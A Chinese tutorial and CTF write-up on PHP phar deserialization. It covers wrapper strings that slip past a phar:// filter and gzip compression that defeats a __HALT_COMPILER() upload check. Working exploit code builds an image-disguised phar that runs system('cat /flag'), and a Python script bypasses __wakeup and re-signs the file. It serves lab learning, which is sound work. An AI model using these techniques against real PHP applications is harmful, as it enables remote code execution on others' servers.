phar繞過phar與HALT實(shí)現(xiàn)文件上傳功能
前面也講過一次phar文件上傳的東西,但是那都是過濾比較低,僅僅過濾了后綴。
知道今天看到了一篇好的文章
如果過濾了phar這個(gè)偽造協(xié)議的話,那還是比較簡(jiǎn)單的
if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die(); }例如這樣進(jìn)行了過濾
繞過的話,我們可以用各種協(xié)議進(jìn)行繞過
1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter偽協(xié)議來進(jìn)行繞過
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2協(xié)議來進(jìn)行繞過
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib協(xié)議進(jìn)行繞過
當(dāng)如果__HALT_COMPILER被過濾了
PHP通過__HALT_COMPILER
來識(shí)別Phar文件,那么出于安全考慮,即為了防止Phar反序列化的出現(xiàn),可能就會(huì)對(duì)這個(gè)進(jìn)行過濾,示例代碼如下
因?yàn)閜har是通過這個(gè)來判斷是不是phar文件,而不是通過后綴來判斷,所以我們可以隨便的更改后綴而不會(huì)影響效果
這里的辦法:是將生成的Phar文件進(jìn)行g(shù)zip壓縮
gziptest.phar
cat test.phar.gz
例題: [NSSRound#4 SWPU]1zweb
打開題目以后,第一眼只是覺得是上傳文件的漏洞,可是上傳都不太行。
讓我改變了一個(gè)思維,試了一下 /flag萬一呢,eee
竟然出了,那就看看下一道進(jìn)階題,估計(jì)是出題人忽略了這個(gè)
[NSSRound#4 SWPU]1zweb(revenge)
這道題出題人就進(jìn)行了限制
因?yàn)槭乔疤岬囊粋€(gè)提示,所以我覺得也不會(huì)是單純的文件上傳漏洞
這時(shí)候試一下/etc/passwd,有沒有任意文件讀取漏洞,前面做過的一道題用到了這個(gè)。
果然有,那就讀取一下源碼index.php,和upload.php上傳文件
<?php if ($_FILES["file"]["error"] > 0){ echo "上傳異常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就發(fā)現(xiàn)了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已經(jīng)存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上傳成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜歡這個(gè)文件 .".$extension; } } ?>
限制了后綴只能是,gif,jpeg,jpg,png格式,并且過濾了HALT_COMPILER(), 所以這道題的考點(diǎn)就是繞過這個(gè)
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ if (preg_match("/flag/", $file)) { die("nonono"); } echo file_get_contents($file); }
這個(gè)反序列化,是簡(jiǎn)單的,僅僅是繞過wakeup就可以,考點(diǎn)并不在這里,發(fā)現(xiàn)沒有serialize這個(gè)的參數(shù),而且有文件上傳并且file_get_contents可以觸發(fā)phar序列化,所以確定了需要phar.
這里就出現(xiàn)了一個(gè)問題,phar如何繞過wakeup呢,如何把屬性值加1呢,我們先不考慮這些,先寫出phar 文件來
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $phar = new Phar('quan9i.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $a = new LoveNss(); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
這個(gè)比較簡(jiǎn)單,就直接過了,然后就需要考慮我們以上的問題了
import gzip from hashlib import sha1 with open('D:\\phpstudy\\quan9i.phar', 'rb') as file: f = file.read() s = f[:-28] # 獲取要簽名的數(shù)據(jù) s = s.replace(b'3:{', b'4:{')#更換屬性值,繞過__wakeup h = f[-8:] # 獲取簽名類型以及GBMB標(biāo)識(shí) newf = s + sha1(s).digest() + h # 數(shù)據(jù) + 簽名 + (類型 + GBMB) #print(newf) newf = gzip.compress(newf) #對(duì)Phar文件進(jìn)行g(shù)zip壓縮 with open('D:\\phpStudy\\newquanqi.png', 'wb') as file:#更改文件后綴 file.write(newf)
找到我們生成phar的文件目錄,只讀
因?yàn)槲覀兏淖兞藀har里面的內(nèi)容,wakeup屬性值,所以需要重新生成一個(gè)標(biāo)簽
就會(huì)直接生成一個(gè)png的文件,我們直接上傳然后phar協(xié)議讀取
到此這篇關(guān)于phar繞過phar與HALT實(shí)現(xiàn)文件上傳功能的文章就介紹到這了,更多相關(guān)phar文件上傳內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
PHP實(shí)現(xiàn)十進(jìn)制數(shù)字與二十六進(jìn)制字母串相互轉(zhuǎn)換操作示例
這篇文章主要介紹了PHP實(shí)現(xiàn)十進(jìn)制數(shù)字與二十六進(jìn)制字母串相互轉(zhuǎn)換操作,涉及php字符串遍歷、轉(zhuǎn)換相關(guān)操作技巧,需要的朋友可以參考下2018-08-08PHP使用WebDriver實(shí)現(xiàn)音頻文件的自動(dòng)下載與保存
WebDriver是一個(gè)用于自動(dòng)化瀏覽器操作的開源工具,它提供了一套統(tǒng)一的API,可以與各種瀏覽器進(jìn)行交互,模擬用戶的操作行為,下面我們就來看看PHP如何使用WebDriver實(shí)現(xiàn)音頻文件的自動(dòng)下載與保存吧2024-04-04php簡(jiǎn)單實(shí)現(xiàn)快速排序的方法
這篇文章主要介紹了php簡(jiǎn)單實(shí)現(xiàn)快速排序的方法,涉及php針對(duì)數(shù)組與字符串的操作技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-04-04PHP經(jīng)典設(shè)計(jì)模式之依賴注入定義與用法詳解
這篇文章主要介紹了PHP經(jīng)典設(shè)計(jì)模式之依賴注入,結(jié)合實(shí)例形式分析了php依賴注入的定義、原理與用法,需要的朋友可以參考下2019-05-05